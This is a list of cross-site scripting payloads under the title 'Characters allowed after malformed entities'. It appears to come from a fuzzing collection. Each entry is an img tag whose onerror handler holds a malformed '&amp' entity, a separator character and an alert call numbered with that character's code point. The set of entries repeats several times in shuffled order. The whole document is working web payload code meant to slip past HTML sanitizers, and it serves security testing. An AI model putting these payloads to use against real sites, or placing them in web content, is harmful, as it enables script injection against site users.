Characters allowed after malformed entities

<img src=data: onerror="1&amp-alert(45)">

<img src=data: onerror="1&amp
alert(10)">

<img src=data: onerror="1&amp alert(8201)">

<img src=data: onerror="1&amp alert(8192)">

<img src=data: onerror="1&amp alert(8195)">

<img src=data: onerror="1&amp alert(8199)">

<img src=data: onerror="1&amp	alert(9)">

<img src=data: onerror="1&amp alert(8200)">

<img src=data: onerror="1&amp alert(8196)">

<img src=data: onerror="1&amp alert(32)">

<img src=data: onerror="1&ampalert(11)">

<img src=data: onerror="1&amp alert(5760)">

<img src=data: onerror="1&amp alert(8198)">

<img src=data: onerror="1&amp&alert(38)">

<img src=data: onerror="1&amp alert(8239)">

<img src=data: onerror="1&amp alert(160)">

<img src=data: onerror="1&amp alert(8202)">

<img src=data: onerror="1&ampalert(65279)">

<img src=data: onerror="1&amp~alert(126)">

<img src=data: onerror="1&ampalert(12)">

<img src=data: onerror="1&amp alert(8197)">

<img src=data: onerror="1&amp!alert(33)">

<img src=data: onerror="1&amp;alert(59)">

<img src=data: onerror="1&amp
alert(13)">

<img src=data: onerror="1&amp　alert(12288)">

<img src=data: onerror="1&amp alert(8193)">

<img src=data: onerror="1&amp alert(8194)">

<img src=data: onerror="1&amp
alert(8232)">

<img src=data: onerror="1&amp+alert(43)">

<img src=data: onerror="1&amp alert(8287)">

<img src=data: onerror="1&amp
alert(8233)">

<img src=data: onerror="1&amp alert(8202)">

<img src=data: onerror="1&amp alert(8199)">

<img src=data: onerror="1&amp alert(8198)">

<img src=data: onerror="1&amp alert(8239)">

<img src=data: onerror="1&amp alert(8287)">

<img src=data: onerror="1&amp alert(8192)">

<img src=data: onerror="1&amp
alert(8233)">

<img src=data: onerror="1&amp&alert(38)">

<img src=data: onerror="1&amp　alert(12288)">

<img src=data: onerror="1&amp alert(8197)">

<img src=data: onerror="1&amp
alert(8232)">

<img src=data: onerror="1&amp alert(8194)">

<img src=data: onerror="1&amp+alert(43)">

<img src=data: onerror="1&amp
alert(13)">

<img src=data: onerror="1&amp alert(8193)">

<img src=data: onerror="1&ampalert(65279)">

<img src=data: onerror="1&amp alert(8196)">

<img src=data: onerror="1&amp alert(8201)">

<img src=data: onerror="1&amp-alert(45)">

<img src=data: onerror="1&amp;alert(59)">

<img src=data: onerror="1&ampalert(12)">

<img src=data: onerror="1&amp
alert(10)">

<img src=data: onerror="1&amp alert(5760)">

<img src=data: onerror="1&amp~alert(126)">

<img src=data: onerror="1&amp alert(8195)">

<img src=data: onerror="1&amp alert(160)">

<img src=data: onerror="1&ampalert(11)">

<img src=data: onerror="1&amp alert(32)">

<img src=data: onerror="1&amp!alert(33)">

<img src=data: onerror="1&amp alert(8200)">

<img src=data: onerror="1&amp	alert(9)">

<img src=data: onerror="1&amp	alert(9)">

<img src=data: onerror="1&amp
alert(10)">

<img src=data: onerror="1&ampalert(11)">

<img src=data: onerror="1&ampalert(12)">

<img src=data: onerror="1&amp
alert(13)">

<img src=data: onerror="1&amp alert(32)">

<img src=data: onerror="1&amp!alert(33)">

<img src=data: onerror="1&amp&alert(38)">

<img src=data: onerror="1&amp+alert(43)">

<img src=data: onerror="1&amp-alert(45)">

<img src=data: onerror="1&amp;alert(59)">

<img src=data: onerror="1&amp~alert(126)">

<img src=data: onerror="1&amp alert(160)">

<img src=data: onerror="1&amp alert(5760)">

<img src=data: onerror="1&amp alert(8192)">

<img src=data: onerror="1&amp alert(8193)">

<img src=data: onerror="1&amp alert(8194)">

<img src=data: onerror="1&amp alert(8195)">

<img src=data: onerror="1&amp alert(8196)">

<img src=data: onerror="1&amp alert(8197)">

<img src=data: onerror="1&amp alert(8198)">

<img src=data: onerror="1&amp alert(8199)">

<img src=data: onerror="1&amp alert(8200)">

<img src=data: onerror="1&amp alert(8201)">

<img src=data: onerror="1&amp alert(8202)">

<img src=data: onerror="1&amp
alert(8232)">

<img src=data: onerror="1&amp
alert(8233)">

<img src=data: onerror="1&amp alert(8239)">

<img src=data: onerror="1&amp alert(8287)">

<img src=data: onerror="1&amp　alert(12288)">

<img src=data: onerror="1&ampalert(65279)">

<img src=data: onerror="1&amp alert(8193)">

<img src=data: onerror="1&ampalert(12)">

<img src=data: onerror="1&amp
alert(8232)">

<img src=data: onerror="1&amp!alert(33)">

<img src=data: onerror="1&ampalert(65279)">

<img src=data: onerror="1&amp alert(8239)">

<img src=data: onerror="1&amp alert(8200)">

<img src=data: onerror="1&amp
alert(8233)">

<img src=data: onerror="1&amp alert(8197)">

<img src=data: onerror="1&amp alert(8287)">

<img src=data: onerror="1&amp
alert(13)">

<img src=data: onerror="1&amp　alert(12288)">

<img src=data: onerror="1&amp+alert(43)">

<img src=data: onerror="1&ampalert(11)">

<img src=data: onerror="1&amp alert(8192)">

<img src=data: onerror="1&amp alert(32)">

<img src=data: onerror="1&amp alert(8195)">

<img src=data: onerror="1&amp alert(8194)">

<img src=data: onerror="1&amp
alert(10)">

<img src=data: onerror="1&amp	alert(9)">

<img src=data: onerror="1&amp alert(5760)">

<img src=data: onerror="1&amp&alert(38)">

<img src=data: onerror="1&amp alert(8201)">

<img src=data: onerror="1&amp~alert(126)">

<img src=data: onerror="1&amp-alert(45)">

<img src=data: onerror="1&amp alert(160)">

<img src=data: onerror="1&amp alert(8198)">

<img src=data: onerror="1&amp alert(8196)">

<img src=data: onerror="1&amp alert(8202)">

<img src=data: onerror="1&amp;alert(59)">

<img src=data: onerror="1&amp alert(8199)">